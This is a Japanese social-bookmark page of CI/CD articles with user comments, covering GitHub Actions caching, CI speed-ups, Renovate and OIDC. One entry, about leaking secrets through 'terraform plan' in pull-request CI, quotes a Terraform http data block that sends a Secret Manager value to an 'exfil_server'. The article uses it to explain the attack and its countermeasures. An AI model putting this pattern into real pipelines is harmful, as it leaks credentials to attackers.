タグ

CIに関するKesinのブックマーク (163)

  • actions/cache@v4ではヒットしなかったときcache-hit=='false'にならない - ぽよメモ

    cache-hitとは v4における挙動変更(?) cache-hitがfalseを返さない ワークアラウンド cache-hitとは GitHub Actionsのキャッシュ用actionであるactions/cacheは、指定したキーに完全一致するキャッシュがヒットしたかどうかのパラメータをそのstepのoutputとして保持している。 つまり以下の様にすることで、キャッシュがヒットしたかどうかを判定し、何かアクションするということが可能である。 jobs: run: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: actions/cache@v4 id: cache with: path: ./cache-dir key: your-cache-key - if: steps.cache.output

    actions/cache@v4ではヒットしなかったときcache-hit=='false'にならない - ぽよメモ
  • LLM校正CIを自社のブログに導入してみた - NTT Communications Engineers' Blog

    マネージド&セキュリティサービス部サービスプラットフォーム部門の田中です。 2023年度の下期にダブルワークという社内施策で、イノベーションセンター生成AIチームに参加しました。 その取り組みとして、ブログの記事データを管理している GitHub リポジトリに LLM (大規模言語モデル) の1つである GPT-4 を用いた校正CIを導入してみました。 適切なプロンプトを得るための試行錯誤や、この記事自体を校正させてみた結果をお伝えします。 目次 目次 背景 LLM校正CIの詳細 プロンプトの試行錯誤 この記事の校正結果 おわりに 背景 ブログ記事のデータ管理やレビューには GitHub を利用しています。 投稿者は記事を執筆した後 PR (Pull Request) を出し、レビュアーが PRコメントで記事の修正を提案し、推敲していきます (なお、GitHubを活用した記事公開プロセ

    LLM校正CIを自社のブログに導入してみた - NTT Communications Engineers' Blog
    Kesin
    Kesin 2024/04/17
    LLMに修正提案を出してもらう際にJSONで出してもらってreviewdogみたいなツールに繋げるのいいな
  • Next.js 製アプリケーションの CI の実行時間削減や安定性向上のために取り組んだこと - Cybozu Inside Out | サイボウズエンジニアのブログ

    こんにちは!DOGO プロジェクトでソフトウェアエンジニアとして活動している @nissy_dev です。 DOGO プロジェクトでは、画面刷新を進めていく中で CI の実行時間が長く不安定になってしまい、開発生産性に大きな影響が出ていました。今回の記事では、CI の課題改善のために取り組んだことを紹介します。 目次 DOGO について CI を改善することになった背景 CI の改善のために取り組んだこと ビルド時に tsc を実行しない .next/cache を除いて、artifacts にアップデートする E2E テストをより多くの shard 数で分割する Playwright のブラウザのインストールをキャッシュする PR ではコード差分に関連するテストのみを実行する Hydration の挙動によってテストが flaky になっていた問題の解消 CI の改善の結果 今回取り組ま

    Next.js 製アプリケーションの CI の実行時間削減や安定性向上のために取り組んだこと - Cybozu Inside Out | サイボウズエンジニアのブログ
    Kesin
    Kesin 2024/04/08
    Playwrightのキャッシュやconcurrency.cancel-in-progressなども面白いけど、実装側とE2Eのページモジュールの構造を一致させておいて、CIでmadgeを使って実装側のdiffと依存するファイルを検出 -> 対応するE2Eだけ実行が面白いな
  • デジタル社会推進標準ガイドライン|デジタル庁

    デジタル社会を実現するためには、「共通ルール」の下で関係者が協働し、価値を生み出すことが重要です。 デジタル社会推進標準ガイドライン群は、サービス・業務改革並びにこれらに伴う政府情報システムの整備及び管理についての手続・手順や、各種技術標準等に関する共通ルールや参考ドキュメントをまとめたものです。 各ドキュメントの位置づけには、次の2種類が存在します。 標準ガイドライン(Normative):政府情報システムの整備及び管理に関するルールとして順守する内容を定めたドキュメント実践ガイドブック(Informative):参考とするドキュメントこれまでは、「デジタル・ガバメント推進標準ガイドライン群」という名称で各種ガイドラインを策定しておりましたが、デジタル庁として政府内部だけでなく社会全体のデジタル化を推進するという観点から、これらのドキュメント体系の名称について「デジタル社会推進標準ガイド

    デジタル社会推進標準ガイドライン|デジタル庁
  • リリース戦略を支えるCI/CDパイプライン | ドクセル

    スライド概要 マイクロサービスアーキテクチャを採用したプロジェクトにおいて、複数のチームが協力してリリーストレインを進める際に、自律的かつ効率的なリリース調整を行う方法を紹介します。 リリース戦略においてマイクロサービスアーキテクチャの特性を考慮し、チーム間のコミュニケーションを最小限に抑えつつ、効率的なプロセスを実現するためのアプローチおよびそれを支えCI/CDのワークフローに触れます。 イベントページはこちら https://testnight.connpass.com/event/311263/

    リリース戦略を支えるCI/CDパイプライン | ドクセル
    Kesin
    Kesin 2024/03/27
    リリーストレインによる自動化のためのタグ打ちをsemverで自動化、リリース作業もtagprを利用してpull-reqから行えるようにしている
  • CI の DX とセキュリティ

    CI の DXセキュリティ Shunsuke Suzuki 2024-03-26 CI/CD Test Night

    CI の DX とセキュリティ
  • 業務で使えるかもしれない…!?GitHub Actions の Tips 集 / CI/CD Test Night #7

    https://testnight.connpass.com/event/311263/

    業務で使えるかもしれない…!?GitHub Actions の Tips 集 / CI/CD Test Night #7
    Kesin
    Kesin 2024/03/27
    matrixにJSONを渡せるのは知らなかった。Github Actionsは動的に実行するジョブの制御をほぼできないのだけど、このテクニックを使えばたしかにある程度は動的に制御できそう
  • GitHub ActionsでファイルをS3にキャッシュするアクションを作りました - プログラムモグモグ

    GitHub Actionsでは依存パッケージやビルド結果などをうまくキャッシュすることで、テストやビルドの時間を短縮できます。 actions/setup-nodeやactions/setup-javaなどの各言語のオフィシャルアクションは各パッケージマネージャーのためのキャッシュ機構を提供していますし、actions/cacheを使って任意のファイルをキャッシュすることもできます。 これらは内部で@actions/cacheパッケージを使っており、キャッシュの機構はGitHub自身の機能と密に結びついています。 しかし、GitHub Actionsのキャッシュはリポジトリごとに10GBまでという制限があり、開発者の多いリポジトリではsetup-nodeのキャッシュだけでもすぐに上限に達してしまいます。 私の所属するチームのリポジトリはGitHub Enterprise Serverにホ

    GitHub ActionsでファイルをS3にキャッシュするアクションを作りました - プログラムモグモグ
    Kesin
    Kesin 2024/03/22
    大規模なリポジトリだとキャッシュ上限の10GBを超えてしまうのは見たことがある。最終的には自前のオブジェクトストレージに保存ということになるか
  • Bucket full of secrets – Terraform exfiltration

    が面白いので要点をまとめる Terraform の CI/CD において機密情報を流出させる方法とその対策が、具体的な攻撃コードを交えて紹介されている。 結論を言うと完全な対策はない。 前提: Pull Request で terraform plan を実行する Level 1 – Let me GET your data http data source を使い、外部に secret を流出させる data "http" "example" { count = local.chunks url = "http://${var.exfil_server}/http/${data.google_secret_manager_secret_version.secret.secret_data}" }

    Kesin
    Kesin 2024/03/16
    言われてみたらたしかに、という内容だけど安全に倒すならplanも自動実行は禁止するしかなさそう。悪意あるユーザーにどこまで侵入されてしまっているかの想定次第だろうか
  • RailsのCIのテスト実行時間を 10分から5分に高速化した話 - Findy Tech Blog

    FindyでEMをしている栁沢(@nipe0324a)です。 今回は、FindyのとあるRailsのCIのテスト実行時間を10分から5分に高速化した話をご紹介します。 「CIのテスト実行時間が遅い...」 「CIの実行時間を短くしたい!!」 と感じている方はぜひご覧くださいませ。 Findyでは2024年2月現在、1人あたり1日4プルリクを平均で作っています。静的解析や自動テストなどを即時に行うCI環境がないとスピード感のある開発ができなくなるため、CIを高速で回しタスクを完了させる必要があります。機能も増え、テストケースも拡充したことでCIの高速化が求められるようになりました。 また、個人的には、CIは遅くても10分、理想は5分以内で終わるのを1つの目安にしています。これぐらいのスピード感でCIが完了すると、「プルリク作ってレビュー依頼する」、「レビューコメントもらって対応する」といった

    RailsのCIのテスト実行時間を 10分から5分に高速化した話 - Findy Tech Blog
    Kesin
    Kesin 2024/03/04
    “必ずしもCI待ち時間がムダではないですが、エンジニアの人件費を考えると費用対効果は高いのではと考えています。”
  • 【DeNATechCon2024】CI/CD の課題解消! GitHub Actions への移行で可能になったこと | ドクセル

    【DeNATechCon2024】CI/CD の課題解消! GitHub Actions への移行で可能になったこと スライド概要 私たちのチームは長年、Circle CI と Jenkins を活用して CI/CD 環境を構築してきました。しかし、運用の複雑さと高コストに直面し、より効率的な方法を模索していました。この問題を解決するために、GitHub Actions への移行を決定しました。その結果、運用コストの削減と操作の簡易性を実現しました。 登壇では、私たちが既存の CI/CD を GitHub Actions に移行する過程で直面した課題と、それらをどのように解決したか、なぜこのタイミングになったのかなどを共有します。登壇が、同様の問題に直面しているエンジニアの皆さんに具体的な解決のヒントとなることを願っています。 ※資料内の動画は後日公開されるセッション動画でご覧いただけ

    【DeNATechCon2024】CI/CD の課題解消! GitHub Actions への移行で可能になったこと | ドクセル
    Kesin
    Kesin 2024/03/01
    当日のAsk the speakerの内容がスライド末尾に追加されてる!その内容が一番生々しくて面白い
  • New: Utilization Insights on Bitrise - Bitrise Blog

    Kesin
    Kesin 2024/02/27
    iOS/Android向けのCI/CDであるBitriseの利用量に関するダッシュボード。サンプルで見えるグラフは見やすいし、マシンタイプごとなど必要な分類がちゃんとされててわかりやすそう
  • Renovate で GitHub Releases を管理対象にする方法

    依存関係の更新を自動でやってくれる Renovate ですが、大体の依存関係は自動で認識してくれるもののやはり中には認識してくれない依存関係もありますよね。 自分の場合はとあるツールの GitHub Releases がそれにあたったのですが、Renovate が認識できるようにするのに少し骨が折れました。。そのため記事を残しておこうと思います。 解決したい課題・ゴール RenovateGitHub Releases で公開されているツールを認識し、そのバージョン更新を自動でやってほしい。 例えば GitHub Actions などのCIの中で、GitHub Releases で公開されているツールを curlやwgetを使って取得する場合などがあてはまります。 - name: setup tfcmt env: TFCMT_VERSION: v3.4.1 run: | wget "h

    Renovate で GitHub Releases を管理対象にする方法
    Kesin
    Kesin 2024/02/17
    customManagers(旧 regexManagers)の解説。これが使えるようになるとプリセットに存在しないあらゆるもののアップデートが自動化できるようになるのでRenovateの真価が発揮される
  • フロントエンドのGitHub Actions実行時間を削減するために取り組んだこと | PR TIMES 開発者ブログ

    こんにちは、フロントエンドエンジニアの小張です。GitHub Actionsの実行時間を削減するために取り組んだことについて紹介します。 経緯 PR TIMESではReactに関するコードを、monorepoとしてprtimes-frontendという1つのリポジトリで管理しています。 GitHub Enterprise Cloudプランでは月50,000分のGitHub Actionsを無料で実行することができますが、prtimes-frontendだけで7割近い時間を消費してしまっていました。またCIに時間がかかることで、Pull Requestを作成した後、10分近く待たないとコードレビューに回すことができず、開発効率が落ちてしまっていました。 そこで現状の使い方を見直して、billable timeの削減に取り組むことになりました。 billable time削減の改善点を探す b

    Kesin
    Kesin 2024/02/17
    CIの最適化として単純にキャッシュ、並列化を進めれば全てが解決するわけではなくてケースバイケースというのがよく分かる好例。追記:actions-timelineを使って頂きありがとうございます!!
  • Actions Runner Controller Deep Dive

    Kesin
    Kesin 2024/02/03
    Actions Runner Controllerの最新のScale setsモードの仕組みの解説。ブログの内容から厳選されていて全体的な流れはかなり分かりやすい
  • Ubicloud - GitHub Actions, ‍10x Cheaper

    GitHub Actions, ‍10x CheaperManaged Ubicloud runners for GitHub Actions. Change 1 line. Get 10x cheaper builds. Go faster.

    Ubicloud - GitHub Actions, ‍10x Cheaper
    Kesin
    Kesin 2024/01/31
    GitHub公式のランナーの1/10の値段でセルフホストランナーを提供するらしい
  • GHES の GitHub Actions で Google Cloud との OIDC 連携がしやすくなりました

    みなさん GitHub Actions の OpenID Connect (以下OIDC) 連携使っていますか? GitHub Actions はワークフローの中で OIDC の ID トークンを発行でき,これを Google Cloud などのクラウドプロバイダの認証に用いることでサービスアカウントのクレデンシャルを発行することなくクラウドプロバイダのリソースをワークフロー内で操作できるようになります.これによりクレデンシャルのローテーションなどの管理コストが減り,よりセキュアな連携が可能になります. 詳しくは GitHub の公式ドキュメントや解説記事を見ていただけると良いと思います. 基的に良いことづくめな OIDC 連携ですが,GitHub Enterprise Server (オンプレ版 GitHub.以下GHES) では OIDC 連携が難しいケースがあります.OIDC 連携

    GHES の GitHub Actions で Google Cloud との OIDC 連携がしやすくなりました
    Kesin
    Kesin 2024/01/29
    非公式ながらOIDCのためのエンドポイントを公開していないクローズドなGHESであってもGitHub ActionsからのOIDC連携を可能にする方法。一部の超ニッチなニーズがありそう
  • 1分で出来る Android Lint と GitHub code scanning の連動

    SARIF フォーマットでレポートを出力するようにします。マルチモジュール構成であっても、ルートの Android application プロジェクトで checkDependencies = true を設定(デフォルトは false)すれば、依存するサブモジュールについても解析され、結果もルートのプロジェクトの一つのレポートに含まれるようになります。 CI(GitHub Actions) name: Android Lint on: pull_request: push: branches: [main] jobs: lint: runs-on: ubuntu-latest permissions: security-events: write actions: read contents: read steps: - uses: actions/checkout@v4 - uses

    1分で出来る Android Lint と GitHub code scanning の連動
    Kesin
    Kesin 2024/01/22
    Lintの結果をGitHubのCode Scanningで管理してくれるの便利そう。privateだとGitHub Advanced Securityが必要なのはCode Scanningが元々セキュリティ関連のための機能だからかな。惜しい・・・
  • Release v4.0.0 · actions/cache

    Kesin
    Kesin 2024/01/20
    actions/cache@v4でsave-alwaysオプションが追加。通常はビルドが成功したときしかキャッシュが保存されないが、ビルドが失敗してもキャッシュに関係はないと分かっている場合は有効にすると便利な場面はありそう
  • GitHub-hosted runners: Double the power for open source

    ProductGitHub-hosted runners: Double the power for open sourceGitHub Actions continues its industry-leading support for the OSS community by doubling the Windows/Linux machine size to 4-vCPU runners at no cost for public repositories. GitHub is thrilled to announce the completion of an upgrade to our GitHub Actions-hosted runners by offering larger more powerful machines to open source developers.

    GitHub-hosted runners: Double the power for open source
    Kesin
    Kesin 2024/01/18
    publicリポジトリでLinuxとWindowsのデフォルトのランナーのスペックが今までの2倍になり4 vCPU, 16GiBメモリ、150GiBストレージとなった。太っ腹すぎる。ありがとうGitHub